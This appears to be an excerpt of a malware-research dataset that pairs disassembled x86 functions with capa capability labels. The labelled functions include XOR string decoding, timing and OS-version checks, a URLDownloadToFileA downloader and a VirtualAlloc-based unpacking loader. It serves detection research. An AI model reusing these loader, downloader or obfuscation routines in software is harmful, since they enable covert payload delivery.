joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43ec51
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor ebx, ebx
push dword [ebp + 8]
xor esi, esi
call fcn.0043edf3
mov edi, eax
pop ecx
lea eax, [ebp - 4]
mov dword [ebp - 8], 3
push eax
push 1
push ebx
push str.Control_PanelMouse
push reloc.WSOCK32.dll_accept
mov byte [ebp + 8], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x43ecae
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 8]
push eax
push ebx
push ebx
push str.SwapMouseButtons
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, 7
ja case.default.0x43ecb3
jmp dword [edi*4 + 0x43ed00]
xor eax, eax
jmp 0x43ecfb
push 2
pop esi
jmp case.default.0x43ecb3
push 8
jmp 0x43ecc0
push 0x20
jmp 0x43ecc0
xor eax, eax
cmp byte [ebp + 8], 0x31
setne al
dec eax
and eax, 6
inc eax
inc eax
jmp 0x43eceb
xor eax, eax
cmp byte [ebp + 8], 0x31
setne al
dec eax
and al, 0xfa
add eax, 8
mov esi, eax
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.USER32.dll_mouse_event]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x43ed20
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
push dword [ebp + 8]
xor ebx, ebx
xor edi, edi
call fcn.0043edf3
mov dword [ebp - 0xc], eax
pop ecx
lea eax, [ebp - 4]
mov dword [ebp - 8], 4
push eax
push 1
push ebx
push str.Control_PanelMouse
push reloc.WSOCK32.dll_accept
mov byte [ebp + 8], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x43ed7e
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 8]
push eax
push ebx
push ebx
push str.SwapMouseButtons
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
cmp eax, 7
ja case.default.0x43ed86
jmp dword [eax*4 + 0x43edd3]
xor eax, eax
jmp 0x43edcf
push 4
pop edi
jmp case.default.0x43ed86
push 0x10
jmp 0x43ed93
push 0x40
jmp 0x43ed93
xor eax, eax
cmp byte [ebp + 8], 0x31
setne al
dec eax
and eax, 0xc
add eax, 4
jmp 0x43edbf
xor eax, eax
cmp byte [ebp + 8], 0x31
setne al
dec eax
and al, 0xf4
add eax, 0x10
mov edi, eax
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_mouse_event]
push 1
pop eax
pop edi
pop ebx
leave
ret
Function at 0x43ef79
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
jl 0x43effb
jne 0x43ef8e
push 0
jmp 0x43eff5
mov al, byte [0x464ad5]
neg al
sbb eax, eax
and eax, 0x2d
add eax, 0xa
cmp edi, eax
jae 0x43eff4
mov esi, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea eax, [ebp - 0x10]
push eax
call esi
test eax, eax
je 0x43eff4
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 8]
push eax
call esi
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
sub eax, dword [ebp - 0x10]
sbb ecx, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ecx
fild qword [ebp - 0x18]
fild qword [ebp - 0x20]
fdivp st(1)
fmul qword [0x451088]
call fcn.0044214c
cmp eax, edi
jb 0x43efbb
jmp 0x43effb
push edi
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
leave
ret

Function at 0x43f95e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9cc
push edi
lea ecx, [ebp - 0x9cc]
call fcn.00440a68
push dword [ebp + 0x10]
lea ecx, [ebp - 0x9cc]
call fcn.00440a7c
xor edi, edi
cmp dword [ebp + 0xc], edi
jbe 0x43f9a3
push esi
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x9cc]
lea esi, [edi + eax]
call fcn.00440b96
xor byte [esi], al
inc edi
cmp edi, dword [ebp + 0xc]
jb 0x43f989
pop esi
pop edi
leave
ret 0xc
Function at 0x43ff37
Capabilities:
Hash data with md5

Disassembly:
push esi
mov esi, ecx
push 8
push 0
lea eax, [esi + 0x44]
push eax
call fcn.00442b20
add esp, 0xc
mov dword [esi + 0x34], 0x67452301
mov dword [esi + 0x38], 0xefcdab89
mov dword [esi + 0x3c], 0x98badcfe
mov dword [esi + 0x40], 0x10325476
pop esi
ret

Function at 0x440a7c
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 1
mov dword [ecx], eax
pop edi
mov eax, ecx
mov edx, edi
mov esi, dword [eax]
add eax, 4
mov ebx, esi
shr ebx, 0x1e
xor ebx, esi
imul ebx, ebx, 0x6c078965
add ebx, edx
inc edx
mov dword [eax], ebx
cmp edx, 0x270
jl 0x440a8c
mov dword [ecx + 0x9c0], edi
mov dword [ecx + 0x9c4], edi
pop edi
pop esi
pop ebx
ret 4

Function at 0x440abd
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x14], esi
cmp dword [esi + 0x9c4], 0
jne 0x440ae2
push 0
call fcn.00442344
pop ecx
push eax
mov ecx, esi
call fcn.00440a7c
mov dword [esi + 0x9c0], 0x270
mov dword [esi + 0x9c8], esi
mov dword [esp + 0x10], 0xe3
mov edi, bind
mov ecx, 0x9908b0df
mov edx, dword [esi]
mov ebp, dword [esi + 4]
lea eax, [esi + 4]
mov ebx, edx
xor ebx, ebp
and ebx, edi
xor ebx, edx
mov edx, ebp
and dl, 1
shr ebx, 1
neg dl
sbb edx, edx
and edx, ecx
xor ebx, edx
xor ebx, dword [eax + 0x630]
dec dword [esp + 0x10]
mov dword [esi], ebx
mov esi, eax
jne 0x440b04
mov dword [esp + 0x10], 0x18c
mov edx, dword [esi]
mov ebp, dword [esi + 4]
lea eax, [esi + 4]
mov ebx, edx
xor ebx, ebp
and ebx, edi
xor ebx, edx
mov edx, ebp
and dl, 1
shr ebx, 1
neg dl
sbb edx, edx
and edx, ecx
xor ebx, edx
xor ebx, dword [esi - 0x38c]
dec dword [esp + 0x10]
mov dword [esi], ebx
mov esi, eax
jne 0x440b3b
mov edx, dword [esp + 0x14]
mov eax, dword [esi]
mov edx, dword [edx]
mov ebx, edx
and dl, 1
xor ebx, eax
and ebx, edi
pop edi
xor ebx, eax
shr ebx, 1
neg dl
sbb edx, edx
and edx, ecx
xor ebx, edx
xor ebx, dword [esi - 0x38c]
mov dword [esi], ebx
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0x440b96
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, ecx
dec dword [esi + 0x9c0]
jne 0x440ba6
call fcn.00440abd
mov edx, dword [esi + 0x9c8]
lea eax, [esi + 0x9c8]
pop esi
mov ecx, dword [edx]
add edx, 4
mov dword [eax], edx
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and ax, 0xdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
shr eax, 1
ret
Function at 0x412281
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x412290
pop dword [ebp - 0x18]
mov eax, 0x412290
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x373ba
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x74e01f6b
sub ecx, 0x74dfdeac
mov edi, eax
mov ebx, 0x740aa0ae
sub ebx, 0x73c732ae
add ebx, dword [ebp - 0x18]
mov esi, 0x373a9f43
add dword [ebp - 0x10], 0x39f30d68
mov edx, dword [ebx]
sub dword [ebp - 0x10], edx
add edx, esi
add dword [ebp - 4], 0x6c679c09
mov dword [edi], edx
xor dword [ebp - 0x10], 0xa0462cee
add edi, 0x7202bdf6
add edi, 0x8dfd420e
add ebx, 4
loop 0x4122df
add eax, 0xf5cf
xor ebx, ebx
add ebx, eax
add eax, 0x6c70b822
sub eax, 0x6c70b81d
mov ecx, 0xd35ce39b
add ecx, 0x2ce31c65
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x403d07
Capabilities:
Encode data using xor

Disassembly:
push 0x48
mov eax, 0x47348d
call fcn.00456a8f
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x50], edi
lea eax, [ebp + 0xc]
push eax
xor ebx, ebx
lea eax, [ebp - 0x2c]
inc ebx
push eax
mov dword [ebp - 4], ebx
call fcn.00403a7a
pop ecx
pop ecx
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.004036be
mov dword [ebp - 0x50], ebx
cmp dword [ebp - 0x18], edi
jbe 0x403d71
push edi
lea ecx, [ebp - 0x2c]
call fcn.0040337f
mov cl, byte [0x4a329c]
xor byte [eax], cl
push edi
lea ecx, [ebp - 0x2c]
call fcn.0040337f
movzx eax, byte [eax]
push eax
mov ecx, esi
call fcn.00403785
inc edi
cmp edi, dword [ebp - 0x18]
jb 0x403d46
push dword [esi]
lea ecx, [ebp - 0x48]
call fcn.004023b3
mov edi, dword [ebp + 0x28]
dec edi
mov byte [ebp - 4], 3
test edi, edi
jle 0x403dc3
push dword [ebp + 0x2c]
lea eax, [ebp - 0x48]
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4c], esp
push eax
call fcn.00401f6f
lea eax, [ebp - 0x4c]
push eax
call fcn.00403d07
add esp, 0x28
push eax
mov ecx, esi
mov byte [ebp - 4], 4
call fcn.0040398a
mov ecx, dword [ebp - 0x4c]
add ecx, 0xfffffff0
mov byte [ebp - 4], 3
call fcn.00401264
inc edi
cmp dword [ebp + 0x2c], edi
jne 0x403df4
mov eax, dword [esi]
mov eax, dword [eax - 0xc]
sub eax, dword [ebp + 0x2c]
mov ecx, esi
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.00403844
push eax
mov ecx, esi
mov byte [ebp - 4], 5
call fcn.0040398a
mov ecx, dword [ebp - 0x4c]
add ecx, 0xfffffff0
call fcn.00401264
push 0
push ebx
lea ecx, [ebp - 0x48]
call fcn.004018c7
push 0
push ebx
lea ecx, [ebp - 0x2c]
call fcn.004018c7
push 0
push ebx
lea ecx, [ebp + 0xc]
call fcn.004018c7
mov eax, esi
call fcn.00456b12
ret
Function at 0x408aac
Capabilities:
Encode data using xor

Disassembly:
push 0xc8
mov eax, 0x473a3b
call fcn.00456a8f
mov ebx, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x50], edi
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 4], edi
call fcn.00403a7a
pop ecx
pop ecx
mov byte [ebp - 4], 1
call fcn.004344e4
push eax
lea ecx, [ebp - 0x4c]
call fcn.0040350c
xor esi, esi
mov byte [ebp - 4], 2
cmp dword [ebp - 0x18], edi
jbe 0x408b22
push esi
lea ecx, [ebp - 0x2c]
call fcn.0040337f
mov cl, byte [0x4a329c]
xor byte [eax], cl
push esi
lea ecx, [ebp - 0x2c]
call fcn.0040337f
movsx ax, byte [eax]
movzx eax, ax
push eax
lea ecx, [ebp - 0x4c]
call fcn.004077c4
inc esi
cmp esi, dword [ebp - 0x18]
jb 0x408af2
mov esi, dword [ebp + 0x28]
dec esi
cmp esi, edi
jle 0x408bb0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xd4]
call fcn.00406598
push dword [eax]
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 3
call fcn.004023b3
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 5
cmp dword [ebp - 0xd4], eax
je 0x408b68
push dword [ebp - 0xd4]
call fcn.004565a3
pop ecx
push dword [ebp + 0x2c]
lea eax, [ebp - 0x48]
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push eax
call fcn.00401f6f
lea eax, [ebp - 0x50]
push eax
call fcn.00408aac
add esp, 0x28
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 6
call fcn.00407935
mov ecx, dword [ebp - 0x50]
add ecx, 0xfffffff0
call fcn.00401264
push edi
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 2
call fcn.004018c7
inc esi
cmp dword [ebp + 0x2c], esi
jne 0x408be8
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax - 0xc]
sub eax, dword [ebp + 0x2c]
lea ecx, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.00406ded
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 7
call fcn.00407935
mov ecx, dword [ebp - 0x50]
add ecx, 0xfffffff0
mov byte [ebp - 4], 2
call fcn.00401264
lea ecx, [ebp - 0x4c]
call fcn.00407891
mov ecx, eax
call fcn.004078da
push eax
mov ecx, ebx
call fcn.004059bc
mov ecx, dword [ebp - 0x4c]
add ecx, 0xfffffff0
call fcn.00401264
push edi
push 1
lea ecx, [ebp - 0x2c]
call fcn.004018c7
push edi
push 1
lea ecx, [ebp + 0xc]
call fcn.004018c7
mov eax, ebx
call fcn.00456b12
ret
Function at 0x41bda5
Capabilities:
Check os version

Disassembly:
push ebp
sub esp, 0x94
lea ebp, [esp - 4]
mov eax, dword [0x4a521c]
xor eax, ebp
mov dword [ebp + 0x94], eax
push 0xc
mov eax, 0x476928
call fcn.00456a26
mov edi, dword [ebp + 0xa0]
push 2
push 2
sub esp, 0x1c
xor esi, esi
mov dword [ebp - 0x14], esi
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.KR0_RSgrLy8oOFov
mov dword [ebp - 4], esi
mov dword [ebp - 0x18], edi
call fcn.004023b3
push edi
call fcn.00403d07
mov dword [ebp - 4], esi
mov esi, 0x94
push esi
xor ebx, ebx
lea eax, [ebp]
push 0
inc ebx
push eax
mov dword [ebp - 0x14], ebx
call fcn.00456370
add esp, 0x34
lea eax, [ebp]
push eax
mov dword [ebp], esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 5
pop eax
cmp dword [ebp + 4], eax
jne 0x41be8b
cmp dword [ebp + 8], ebx
jne 0x41be55
push eax
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.IxMeCyIpIxonEgUAPRMkPiErJyAnEycrMgArXCsTHg46OCsAPwMjUi4AI1c
call fcn.004023b3
lea eax, [ebp - 0x10]
push eax
call fcn.00403d07
add esp, 0x28
mov dword [ebp - 4], ebx
jmp 0x41bf23
push 2
pop esi
cmp dword [ebp + 8], esi
jne 0x41bf36
push 4
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.IzgoDyEpAV8tORlTK1teLCANJwEpOSsfIj4BHyI8DjI
call fcn.004023b3
lea eax, [ebp - 0x10]
push eax
call fcn.00403d07
add esp, 0x28
mov dword [ebp - 4], esi
jmp 0x41bf23
cmp dword [ebp + 4], 6
jne 0x41bf36
cmp dword [ebp + 8], 0
jne 0x41bec6
push 2
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.JR0zUysdO1IrEgEPKR1XVw
call fcn.004023b3
lea eax, [ebp - 0x10]
push eax
call fcn.00403d07
add esp, 0x28
mov dword [ebp - 4], 3
jmp 0x41bf23
cmp dword [ebp + 8], ebx
jne 0x41bef4
push eax
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.IxIkDyU5P189AgUCLxAZCyUDASAnEycrMgM7DSVbDjI
call fcn.004023b3
lea eax, [ebp - 0x10]
push eax
call fcn.00403d07
add esp, 0x28
mov dword [ebp - 4], 4
jmp 0x41bf23
cmp dword [ebp + 8], 2
jne 0x41bf36
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.Iw1aAC4BV0gE1JFLjwOMg
call fcn.004023b3
lea eax, [ebp - 0x10]
push eax
call fcn.00403d07
add esp, 0x28
mov dword [ebp - 4], 9
push eax
mov ecx, edi
call fcn.0040398a
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401264
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x94]
xor ecx, ebp
call fcn.00456a17
add ebp, 0x98
leave
ret
Function at 0x421fdd
Capabilities:
Create directory
Download url
Receive data

Disassembly:
push 8
mov eax, 0x47787f
call fcn.00456a26
mov esi, ecx
mov eax, dword [ebp + 8]
mov dword [esi + 0x28], eax
lea eax, [esi + 0x20]
push eax
call fcn.0045832f
pop ecx
call fcn.004344e4
push eax
lea ecx, [ebp + 8]
call fcn.0040350c
mov eax, dword [esi + 8]
mov ecx, dword [eax + 0xc]
xor ebx, ebx
cmp dword [ecx - 0xc], ebx
mov dword [ebp - 4], ebx
jg 0x42205b
push dword [eax + 4]
lea eax, [ebp - 0x14]
push eax
call fcn.00423625
mov eax, dword [eax]
mov ecx, dword [esi + 8]
mov ecx, dword [ecx + 8]
push 0x5c
push eax
push ecx
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 4], 1
call fcn.004237a0
add esp, 0x18
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 2
call fcn.0040398a
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401264
jmp 0x42207b
mov eax, dword [eax + 8]
push 0x5c
push ecx
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.004237a0
add esp, 0x10
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 3
call fcn.0040398a
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
mov byte [ebp - 4], bl
call fcn.00401264
mov eax, dword [esi + 8]
mov eax, dword [eax + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [esi + 8]
add eax, 4
push eax
lea ecx, [ebp - 0x14]
call fcn.004036d2
mov edi, dword [ebp - 0x14]
push edi
mov byte [ebp - 4], 4
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push esi
mov esi, dword [ebp + 8]
push ebx
push esi
push edi
push ebx
call sub.urlmon.dll_URLDownloadToFileA
cmp eax, ebx
jge 0x4220d6
mov dword [ebp - 0x10], eax
push 0x49a14c
lea eax, [ebp - 0x10]
push eax
call fcn.00456557
lea ecx, [edi - 0x10]
call fcn.00401264
lea ecx, [esi - 0x10]
call fcn.00401264
call fcn.00456afe
ret 4

Function at 0x422965
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x68]
sub esp, 0xa4
mov eax, dword [0x4a521c]
xor eax, ebp
mov dword [ebp + 0x64], eax
mov eax, dword [ebp + 0x7c]
mov ecx, dword [ebp + 0x70]
mov edx, dword [ebp + 0x74]
push edi
mov edi, dword [ebp + 0x78]
test eax, eax
jne 0x42299d
lea eax, [ebp - 0x38]
push eax
push 1
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x4229b1
push ebx
lea ebx, [ebp - 0x38]
push ebx
or eax, 1
push eax
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop ebx
test eax, eax
je 0x4229b9
xor eax, eax
jmp 0x4229ec
test edi, edi
je 0x4229de
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x34]
push eax
push 0
push 0
push edi
push dword [ebp - 0x38]
mov dword [ebp - 0x3c], 0x96
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4229b5
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
neg eax
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0x64]
xor ecx, ebp
pop edi
call fcn.00456a17
add ebp, 0x68
leave
ret
Function at 0x422b96
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
sub esp, 0x100
lea ebp, [esp - 4]
mov eax, dword [0x4a521c]
xor eax, ebp
mov dword [ebp + 0x100], eax
push 0x44
mov eax, 0x477941
call fcn.00456a59
mov ecx, dword [ebp + 0x10c]
mov eax, dword [ebp + 0x118]
mov esi, dword [ebp + 0x110]
mov edi, dword [ebp + 0x114]
xor ebx, ebx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], ebx
call fcn.004036be
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x11c]
cmp eax, ebx
jne 0x422c00
lea eax, [ebp - 0x14]
push eax
push 0x20019
jmp 0x422c0a
lea ecx, [ebp - 0x14]
push ecx
or eax, 0x20019
push eax
push ebx
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x422ccc
push 0xfe
lea eax, [ebp + 1]
push ebx
push eax
mov byte [ebp], bl
call fcn.00456370
add esp, 0xc
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
push ebx
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x30], 0xff
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 0x1c]
mov dword [ebp - 0x18], 4
push dword [ebp - 0x14]
call esi
test eax, eax
jne 0x422cc3
push dword [ebp - 0x18]
call fcn.00459e18
pop ecx
mov edi, eax
lea eax, [ebp - 0x18]
push eax
push edi
lea eax, [ebp - 0x24]
push eax
push ebx
push dword [ebp - 0x1c]
push dword [ebp - 0x14]
call esi
test eax, eax
jne 0x422cbc
cmp dword [ebp - 0x24], 1
jne 0x422cbc
mov ecx, dword [ebp - 0x20]
push edi
call fcn.00403a4b
push edi
call fcn.004565a3
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x100]
xor ecx, ebp
call fcn.00456a17
add ebp, 0x104
leave
ret
Function at 0x4231a1
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
sub esp, 0x100
lea ebp, [esp - 4]
mov eax, dword [0x4a521c]
xor eax, ebp
mov dword [ebp + 0x100], eax
push 0x44
mov eax, 0x477a60
call fcn.00456a26
push 5
push 5
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.IDsrJCgpUhomEgUALw0_MyUDHQAgKStBKw0NAiEUhghEF4YLxMZOyBbWg0vBhoOJjkBADI5MzkhHSMHLjwFLCMrJy0uEw1BIxNaHyVbBSklAwEYKDkrQS07Ox8rHQFBIRAeDy0ABSQ6E14NJSkNXyYTARwlEFIuIjgnHD1bXwwgHVsLLgMjLi04Ug0vHVokJgABMC0BQU9ECNSIjwOMg
mov byte [ebp - 0xd], 0
call fcn.004023b3
lea eax, [ebp - 0x14]
push eax
call fcn.00403d07
add esp, 0x28
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
and dword [ebp - 4], 0
lea eax, [ebp - 0x24]
push eax
mov ebx, 0x20019
push ebx
push 0
push dword [ebp - 0x14]
mov edi, 0x80000002
push edi
call esi
test eax, eax
jne 0x4232f1
push 0xfe
push eax
mov byte [ebp], al
lea eax, [ebp + 1]
push eax
call fcn.00456370
add esp, 0xc
lea eax, [ebp - 0x50]
push eax
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp]
push eax
push dword [ebp - 0x24]
mov dword [ebp - 0x2c], 0xff
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
cmp dword [ebp - 0x1c], 1
jbe 0x423273
mov byte [ebp - 0xd], 0
jmp 0x4232e8
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.IwANJDIpP186EgFcKywFMyA5Bjk9KSsOIBMrHiEQUh0hLhkOLhM7LiUSHVwrOz8wJjkZMCMDXjk9Ax0eIRMdAiAHjkuEyM5KDwNDSE8XwkgKyM5KS4NGSIDUhMoDTMQOjkeMjwdV1c
call fcn.004023b3
lea eax, [ebp - 0x20]
push eax
call fcn.00403d07
add esp, 0x28
lea eax, [ebp - 0x28]
push eax
push ebx
xor ebx, ebx
push ebx
push dword [ebp - 0x20]
push edi
call esi
test eax, eax
jne 0x4232dd
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push 0x486d64
push dword [ebp - 0x28]
mov dword [ebp - 0x30], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4232d4
cmp dword [ebp - 0x18], 1
je 0x4232d4
mov byte [ebp - 0xd], 1
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffffff0
call fcn.00401264
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401264
mov al, byte [ebp - 0xd]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x100]
xor ecx, ebp
call fcn.00456a17
add ebp, 0x104
leave
ret
Function at 0x4234f5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x4a521c]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x110], 0
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x105
push esi
lea eax, [ebp - 0x10c]
push 0
push eax
call fcn.00456370
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x10c]
push eax
mov ecx, edi
call fcn.004040f9
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.00456a17
leave
ret

Function at 0x423557
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x108
lea ebp, [esp - 4]
mov eax, dword [0x4a521c]
xor eax, ebp
mov dword [ebp + 0x108], eax
push 8
mov eax, 0x477acb
call fcn.00456a26
mov esi, dword [ebp + 0x114]
and dword [ebp - 0x10], 0
push 0x105
lea eax, [ebp]
push 0
push eax
call fcn.00456370
add esp, 0xc
lea eax, [ebp]
push eax
push 0
push 4
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.IB1aECEpXj4nEAETKxMnDyYAHSUnDVdX
call fcn.004023b3
lea eax, [ebp - 0x10]
push eax
call fcn.00403d07
mov edi, eax
and dword [ebp - 4], 0
lea eax, [ebp - 0x14]
push eax
call fcn.004234f5
mov edi, dword [edi]
mov eax, dword [eax]
add esp, 0x2c
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp - 0x10]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.00401264
lea eax, [ebp]
push eax
mov ecx, esi
call fcn.004040f9
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x108]
xor ecx, ebp
call fcn.00456a17
add ebp, 0x10c
leave
ret